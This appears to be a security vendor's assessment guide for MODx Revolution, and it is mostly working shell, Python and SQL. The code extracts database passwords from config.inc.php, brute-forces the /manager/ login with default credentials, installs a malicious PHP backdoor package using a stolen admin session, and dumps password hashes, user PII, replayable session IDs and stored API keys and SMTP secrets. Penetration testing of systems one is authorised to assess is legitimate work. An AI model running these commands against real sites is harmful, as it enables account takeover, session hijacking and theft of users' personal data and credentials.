MODx Revolution is a flexible PHP CMS and application framework with a significant install base among web agencies. Key assessment areas: core/config/config.inc.php exposes MySQL credentials (username, password, dbase); admin credentials at /manager/ use SHA-512+salt hashing; modx_sessions stores active session IDs enabling session replay; and MODx Extras (plugins) can be installed to execute arbitrary PHP code. This guide covers systematic MODx Revolution security assessment.
# MODx Revolution — core/config/config.inc.php MySQL credential extraction
MODX_URL="https://site.example.com"
# core/config/config.inc.php — MODx database configuration
cat /var/www/modx/core/config/config.inc.php 2>/dev/null | \
grep -E "database_user|database_password|database_connection_method|dbase|host"
python3 -c "
import re
content = open('/var/www/modx/core/config/config.inc.php').read()
patterns = {
'database_password': r\"\\\\\\\$database_password\s*=\s*'([^']+)'\",
'database_user': r\"\\\\\\\$database_user\s*=\s*'([^']+)'\",
'dbase': r\"\\\\\\\$dbase\s*=\s*'([^']+)'\",
'host': r\"\\\\\\\$database_server\s*=\s*'([^']+)'\",
'table_prefix': r\"\\\\\\\$table_prefix\s*=\s*'([^']*)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# \$database_password = 'mysql-password'; <-- MySQL password (CRITICAL)
# \$dbase = 'modx'; <-- database name
# \$table_prefix = 'modx_'; <-- table prefix
# Check core/ web accessibility (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/core/" 2>/dev/null)
echo "/core/: HTTP ${STATUS}"
# Check for /setup/ directory (MODx installer)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/setup/" 2>/dev/null)
echo "/setup/: HTTP ${STATUS}"
# Test manager credentials
for CRED in "admin:admin" "admin:password" "modx:modx" "admin:Admin123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${MODX_URL}/manager/index.php" \
-d "username=${USER}&password=${PASS}&service=login&login_context=mgr" \
-c /tmp/modx_c -b /tmp/modx_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# MODx Revolution manager panel — package installation and RCE assessment
MODX_URL="https://site.example.com"
# MODx Revolution manager at /manager/ (default, configurable)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/manager/" 2>/dev/null)
echo "/manager/: HTTP ${STATUS}"
# MODx Extra Package Manager — install PHP packages
# With admin access, packages (Extras) are downloaded and installed
# Malicious Extra: create PHP backdoor in a .zip package
ADMIN_SESS="extracted-modx-session"
curl -s -X POST "${MODX_URL}/manager/index.php?a=package/install" \
-d "signature=malicious-extra-1.0.0-pl" \
-b "PHPSESSID=${ADMIN_SESS}" 2>/dev/null | head -5
# MODx FURL (Friendly URL) - reveal resource structure
# Enumerate public resources via MODX sitemap
curl -s "${MODX_URL}/sitemap.xml" 2>/dev/null | \
grep -oP '\K[^<]+' | head -20
# MODx Revolution connector API
# Manager API endpoints (authenticated)
curl -s "${MODX_URL}/manager/index.php?a=resource/getList&limit=50" \
-H "modAuth: ${ADMIN_SESS}" 2>/dev/null | head -10
# MODx Revolution MySQL database — modx_users hash and session token extraction
DB_PASS="extracted-db-password"
TABLE_PREFIX="modx_"
mysql -u modx -p"${DB_PASS}" modx 2>/dev/null << 'EOF'
-- MODx Revolution modx_users — admin accounts with SHA-512 hashes
SELECT u.id, u.username, u.password, u.salt,
u.sudo, -- 1 = super-admin (all permissions)
u.active,
u.createdon, u.lasthit,
u.failedpasswordattempts
FROM modx_users u
WHERE u.active = 1
ORDER BY u.id;
-- password: SHA-512(MD5(password) + salt) in older MODx
-- Modern MODx: SHA-512(password + salt)
-- sudo=1: super-admin with unrestricted manager access
-- User attributes (email, contact PII)
SELECT a.internalKey, a.email,
a.fullname, a.phone, a.mobilephone,
a.comment, a.state, a.country,
a.zip, a.photo, a.createdon
FROM modx_user_attributes a
ORDER BY a.internalKey
LIMIT 20;
-- Active sessions
SELECT s.id, s.internalKey, s.lasthit,
s.lasthit, s.secure,
u.username
FROM modx_session s
JOIN modx_users u ON u.id = s.internalKey
WHERE s.lasthit > UNIX_TIMESTAMP(NOW() - INTERVAL 1 HOUR)
ORDER BY s.lasthit DESC;
-- s.id: PHP session ID — replay enables admin manager access without password
-- System settings (may contain API keys, SMTP credentials)
SELECT s.key, s.value, s.area
FROM modx_system_settings s
WHERE s.key LIKE '%password%' OR s.key LIKE '%secret%'
OR s.key LIKE '%api_key%' OR s.key LIKE '%token%'
ORDER BY s.key
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| core/config/config.inc.php MySQL password extraction | Read /var/www/modx/core/config/config.inc.php — $database_password; full database access to modx_users SHA-512 hashes and modx_session active tokens | Critical |
| /setup/ MODx installer accessibility | GET /setup/ — HTTP 200 = reinstallation wizard; admin credential reset and full database reconfiguration without authentication | Critical |
| modx_session active session token extraction for replay | MySQL SELECT id, username FROM modx_session JOIN modx_users — PHP session ID replay enables manager access without password for currently logged-in admins | High |
| modx_users SHA-512+salt hash extraction with sudo identification | MySQL SELECT sudo, password, salt FROM modx_users — SHA-512 hashes with individual salts; sudo=1 = full manager superadmin access | High |
| Admin credential brute-force at /manager/ | POST /manager/index.php — admin/admin or common passwords; manager access enables Extra installation (PHP code execution), content modification, user creation | High |
Ironimo tests MODx Revolution deployments for core/config/config.inc.php MySQL database_password web and filesystem credential extraction, /setup/ reinstallation directory accessibility enabling admin credential reset, admin credential brute-force at /manager/index.php, modx_users SHA-512+salt hash extraction with sudo=1 superadmin identification, modx_session active PHP session ID enumeration enabling session replay attacks, modx_user_attributes email and PII data extraction, modx_system_settings API key and SMTP credential enumeration, /core/ web accessibility verification, MODx Extra package inventory for unpatched CVE detection, and MODx version disclosure for security advisory targeting.
Start free scan